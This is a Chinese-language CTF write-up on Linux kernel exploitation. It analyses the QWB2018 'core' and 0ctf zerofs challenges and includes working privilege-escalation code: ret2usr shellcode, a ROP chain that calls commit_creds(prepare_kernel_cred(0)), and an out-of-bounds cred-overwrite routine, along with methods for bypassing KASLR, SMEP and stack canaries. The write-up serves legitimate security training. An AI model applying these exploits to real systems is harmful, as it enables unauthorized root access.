ctf中linux 内核态的漏洞挖掘与利用系列
字数 1799 2025-08-29 08:32:01
Linux内核态漏洞挖掘与利用技术详解
一、内核漏洞基础
1.1 内核漏洞类型
-
内核栈溢出漏洞
- 由于未正确检查用户输入长度,导致内核栈被覆盖
- 常见于内核模块中的缓冲区操作函数如
strcpy、memcpy等
-
堆越界访问漏洞
- 内核堆内存操作越界,可能导致信息泄露或任意代码执行
- 包括越界读和越界写两种类型
-
空指针解引用
- 未正确验证指针有效性导致内核崩溃或权限提升
1.2 内核防护机制
-
KASLR (内核地址空间布局随机化)
- 随机化内核代码和数据的地址,增加利用难度
-
SMEP (Supervisor Mode Execution Prevention)
- 防止内核态执行用户空间代码
-
SMAP (Supervisor Mode Access Prevention)
- 防止内核态访问用户空间内存
-
Stack Canary
- 栈保护机制,检测栈溢出
-
KPTR_RESTRICT
- 限制通过
/proc/kallsyms泄露内核符号地址
- 限制通过
二、QWB2018 Core题目分析
2.1 环境准备
-
文件结构
start.sh # qemu启动脚本 core.cpio # 文件系统 bzImage # 内核镜像 core.ko # 存在漏洞的内核模块 -
启动参数修改
- 修改
start.sh中的内存参数为512M - 删除
init文件中的poweroff指令防止自动关机
- 修改
2.2 漏洞分析
-
核心漏洞函数
core_read: 可控全局变量off导致内核信息泄露core_copy_func: 有符号整数比较问题导致栈溢出
-
防护检查
CANARY: ENABLED NX: ENABLED PIE: disabled -
利用思路
- 通过
core_read泄露栈canary和返回地址 - 通过
core_copy_func触发栈溢出 - 构造ROP链或执行shellcode提权
- 通过
2.3 漏洞利用方法
方法1: 直接执行Shellcode
-
利用条件
- 内核未开启SMEP/SMAP
- 能够泄露canary和返回地址
-
利用步骤
- 构造payload覆盖返回地址为shellcode地址
- shellcode中执行
commit_creds(prepare_kernel_cred(0)) - 修复栈帧并跳回原返回地址
-
关键代码
void poc1_shellcode() { int*(*userPrepare_kernel_cred)(int) = prepare_kernel_cred; void*(*userCommit_cred)(int*) = commit_creds; (*userCommit_cred)((*userPrepare_kernel_cred)(0)); asm("mov %rbp,%rsp"); // 修复栈帧 asm("pop %rbp"); asm("mov %0,%%rax; jmp %%rax;"::"r"(ret_addr):"%rax"); }
方法2: ROP链利用
-
利用条件
- 内核开启SMEP/SMAP
- 能够泄露内核基址和canary
-
ROP链构造
- 查找内核中的gadgets:
pop rdi; retmov rdi, rax; call rcxswapgs; popfq; retiretq
- 查找内核中的gadgets:
-
完整ROP流程
1. prepare_kernel_cred(0) 2. 将结果赋给rdi 3. commit_creds 4. swapgs 5. iret返回到用户态 -
关键代码
u64 Rop[0x100] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, canary, 0, 0xFFFFFFFF81126515 - kerneloff, // pop rdi;ret 0, prepare_kernel_cred, 0xFFFFFFFF8186EB33 - kerneloff, // pop rcx;ret 0xFFFFFFFF810A0F49 - kerneloff, // pop rdx;ret 0xFFFFFFFF81623D0B - kerneloff, // mov rdi,rax;call rcx commit_creds, 0xffffffff81a012da - kerneloff, // swapgs;popfq;ret 0, 0xFFFFFFFF81050AC2 - kerneloff, // iretq &execshell, user_cs, user_rflags, user_sp, user_ss };
三、0ctf-zerofs题目分析
3.1 文件系统基础
-
Linux文件系统架构
- 虚拟文件系统(VFS): 统一接口层
- 具体文件系统: 实现具体操作
-
关键数据结构
super_block: 文件系统超级块inode: 文件索引节点dentry: 目录项
3.2 漏洞分析
-
漏洞位置
zerofs_read: 文件大小设置为-1时可越界读zerofs_write: 无边界检查导致越界写
-
利用思路
- 通过越界读搜索进程cred结构
- 通过越界写修改cred中的UID/GID为0
3.3 cred结构提权
-
cred结构关键字段
struct cred { atomic_t usage; kuid_t uid; // 真实用户ID kgid_t gid; // 真实组ID kuid_t suid; // 保存的用户ID kgid_t sgid; // 保存的组ID kuid_t euid; // 有效用户ID kgid_t egid; // 有效组ID kuid_t fsuid; // 文件系统用户ID kgid_t fsgid; // 文件系统组ID // ... }; -
定位cred结构
- 普通用户进程的cred中UID/GID等字段值为1000(0x3e8)
- 通过越界读搜索连续多个0x3e8值的内存区域
-
修改cred字段
- 将找到的cred结构中的关键ID字段修改为0
-
关键代码
if(buf[i] == current_uid && buf[i+6] == current_uid && buf[i+7] == current_uid && buf[i+12] == current_uid && buf[i+24] == current_uid && buf[i+25] == current_uid && buf[i+34] == current_uid && buf[i+39] == current_uid) { buf[i] = 0; buf[i+6] = 0; buf[i+7] = 0; buf[i+12] = 0; buf[i+24] = 0; buf[i+25] = 0; buf[i+34] = 0; buf[i+39] = 0; return 1; }
四、高级技巧与注意事项
4.1 内核调试技巧
-
提取vmlinux
extract-vmlinux ./bzImage > vmlinux -
提取gadgets
ropper --file ./vmlinux --nocolor > gadgets -
调试符号处理
- 注意内核可能使用
randstruct插件随机化结构体布局
- 注意内核可能使用
4.2 绕过防护机制
-
绕过KASLR
- 通过信息泄露获取内核基址
- 利用
/tmp/kallsyms获取符号地址
-
绕过SMEP/SMAP
- 使用纯ROP链利用
- 避免直接执行用户空间代码
-
绕过Stack Canary
- 通过信息泄露获取canary值
- 在溢出时保持canary不变
4.3 稳定性提升
-
cred搜索优化
- 扩大搜索范围
- 多次尝试不同偏移
-
错误处理
- 检查系统调用返回值
- 添加异常处理逻辑
五、总结
内核漏洞利用需要结合具体漏洞类型和防护机制制定利用策略,核心要点包括:
- 准确识别漏洞类型和可利用点
- 处理各种内核防护机制(KASLR, SMEP, SMAP等)
- 灵活运用信息泄露、ROP构造、cred修改等技术
- 注意利用稳定性和兼容性问题
通过系统学习内核漏洞原理和利用技术,可以有效提升内核安全研究和防护能力。